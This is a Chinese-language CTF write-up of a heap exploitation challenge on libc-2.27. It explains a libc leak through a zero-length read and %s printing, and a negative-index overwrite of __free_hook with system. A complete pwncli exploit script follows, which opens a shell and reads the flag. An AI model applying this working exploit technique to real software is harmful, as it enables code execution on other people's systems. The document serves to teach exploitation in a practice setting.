总结
根据本题,学习与收获有:
read
当长度为0
的时候,会返回0
%s
遇到\0
才会结束输出,遇到\n
并不会结束输出
- 某个地址存储了
__free_hook
的地址,搜一把就得到了
题目分析
checksec
远程环境为libc-2.27.so
漏洞点
主要在modify
中,有一个打印地址和索引溢出
利用思路
在buy
函数中,会有一个置0
的操作:
当时在这里卡了一段时间,后来发现,如果输入长度为0
,就不会将chunk
的fd
某个字节置为0
了,那么结合modify
函数中的%s
即可泄露出地址。
最后利用过程即为:
- 利用
%s
和read
为0
的第三个参数,泄露出libc
的地址
- 修改索引为
-2
处的拿个地址为存储着__free_hook
的地址
- 修改索引为
-22
的内容,就是修改__free_hook
,修改为system
- 释放带有
/bin/sh
的块即可获取shell
Exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
#!/usr/bin/python3
from pwncli import *
cli_script()
p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']
def add(data="a\n"):
p.sendlineafter("EMMmmm, you will be a rich man!\n", "1")
p.sendafter("I will give you $9999, but what's the currency type you want, RMB or Dollar?\n", data)
def over():
p.sendlineafter("EMMmmm, you will be a rich man!\n", "3")
def buy(length:int, data="a\n"):
p.sendlineafter("Now, buy buy buy!\n", "1")
p.sendlineafter("How long is your goods name?\n", str(length))
if length != 0:
p.sendafter("What is your goods name?\n", data)
def delete(idx:int):
p.sendlineafter("Now, buy buy buy!\n", "2")
p.sendlineafter("Which goods that you don't need?\n", str(idx))
def modify(idx:int, data="a\n"):
p.sendlineafter("Now, buy buy buy!\n", "3")
p.sendlineafter("Which goods you need to modify?\n", str(idx))
p.recvuntil("OK, what would you like to modify ")
msg = p.recvline()
p.send(data)
info("msg recv: {}".format(msg))
return msg
def exp():
for i in range(20):
add("a" * 7)
over()
buy(0x500) # 0
buy(0x10, "/bin/sh\x00\n") # 1
# get unsorted bin
delete(0)
buy(0) # 2
# leak libc addr
msg = modify(2)
libc_base_addr = u64(msg[:6].ljust(8, b"\x00")) - 0x3ec0d0
log_address("libc_base_addr", libc_base_addr)
# find the memory stores __free_hook address
# use overflow index to change __free_hook's content to system
modify(-2, p64(libc_base_addr + 0x3eaee8)[:7])
modify(-22, p64(libc_base_addr + libc.sym['system'])[:7])
# get shell
delete(1)
p.sendline("cat /flag")
p.interactive()
exp()
|
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli